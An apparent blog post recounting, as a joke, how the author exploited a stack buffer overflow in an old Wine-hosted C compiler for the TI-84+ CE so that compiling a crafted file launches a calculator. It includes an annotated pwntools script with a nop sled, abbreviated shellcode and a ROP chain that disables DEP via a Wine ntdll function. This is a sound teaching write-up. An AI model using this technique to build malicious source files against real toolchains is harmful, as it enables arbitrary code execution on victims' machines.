A couple years ago when I was particularly annoyed with a buggy C compiler, I exploited one of its bugs to achieve arbitrary code execution during compilation. You know, for catharsis. I opened a joke GitHub issue titled “gnome-calculator opens every time I try to compile my code???!!??”

Background

If you wanted to write C for the TI-84+ CE calculator in 2020, you would use the community-built CE Programming toolchain which shipped with a 2011 version of Zilog Developer Studio II (ZDS). ZDS is a proprietary compiler that compiles C to (e)Z80 instructions and is originally built for Windows. The toolchain uses Wine to make it work on Linux.

I’d regularly encounter miscompilations and random segfaults that would require guessing how to rewrite parts of programs to work around them.

I wondered, if ZDS crashes so often, are any of the crashes exploitable? I tried literally the first thing that came to mind: asm("AAAAAAAAAAAAAA...").

Unsurprisingly, it segfaulted. Time for revenge.

The Exploit

All signs point to a classic stack buffer overflow. It’s way harder these days to exploit a bug like this given modern mitigations like ASLR, DEP, and stack canaries. Writing a working exploit for a stack-based overflow with a one-shot static input like we have here should really be a non-starter.

But we’re in luck! This is an old binary running under Wine. The combination of those two things allows us to hack like it’s 1990 again!

Exploits are Easy Under Wine

Writing exploits under Wine is surprisingly easy. Consider reading the Wine exploitation series for more info.

The TL;DR is:

  1. Library addresses are known: kernel32.dll and ntdll.dll are loaded at the same addresses every time. Therefore, ASLR is not a problem.
  2. There’s a magic function VIRTUAL_SetForceExec in ntdll that disables DEP when called. Therefore, DEP is also not a problem.

Plan

This means that our plan is:

  1. Overwrite the return address on the stack by overflowing the stack buffer. Because the old binary wasn’t built with stack canaries, this is feasible.
  2. Use a tiny bit of ROP to:
    1. Call VIRTUAL_SetForceExec(1) to disable all memory protections.
    2. Jump to Linux shellcode we placed on the stack. Wine is not an emulator after all, so it’s perfectly fine to run Linux shellcode.

Here’s an abbreviated, annotated script to generate the exploit file. The original can be found here.

from pwn import *

def gen_payload():

    # Any Linux/Windows x86 shellcode will work great as long as there is no \x00 or \x0a.
    # This shellcode opens gnome-calculator.
    shellcode = b'\x31\xc0 ...'

    # Small nopsled followed by shellcode. Stack address is mostly consistent between runs.
    p = b'\x90' * (1024 - len(shellcode))
    p += shellcode                  # Somewhere after 0x6df738 on stack

    # We have to give an overwritten local variable some writable memory so we don't
    # crash before ret. Because ntdll.dll.so is loaded in at a constant address, we can
    # use its data section
    p += p32(0x7be94004)            # ntdll.dll.so .data + 4

    # Padding
    p += b'B' * 466

    # ROP chain to disable DEP, then jump to shellcode on stack.
    p += p32(0x7bcce33e)            # call VIRTUAL_SetForceExec to make the stack executable
    p += p32(0x7bcbb001)            # pop edi; pop ebp; ret
    p += p32(0x1259a140)
    p += p32(0x12345678)
    p += p32(0x7bc88bc5)            # xchg eax, edi; ret
    p += p32(0x7bc57c92)            # xor ebp, eax ; ret
    p += p32(0x7bc55b8a)            # xchg eax, ebp; ret
    p += p32(0x7bc4a781)            # push eax ; ret

    return p


payload = b'int main() {\nasm("'

payload += gen_payload()

payload += b'");\n'
payload += b'return 0;\n}'

with open('src/main.c', 'wb') as f:
    f.write(payload)

Demo

Here’s a very boring demo of the exploit in action:

Conclusion

Take that, compiler! Now you’d better think twice before miscompiling my code.

A couple months later, the toolchain transitioned to an impressive LLVM-backed eZ80 backend that one of the community members, jacobly0, built out. That eliminated this bug and many other headaches. Thanks for reading!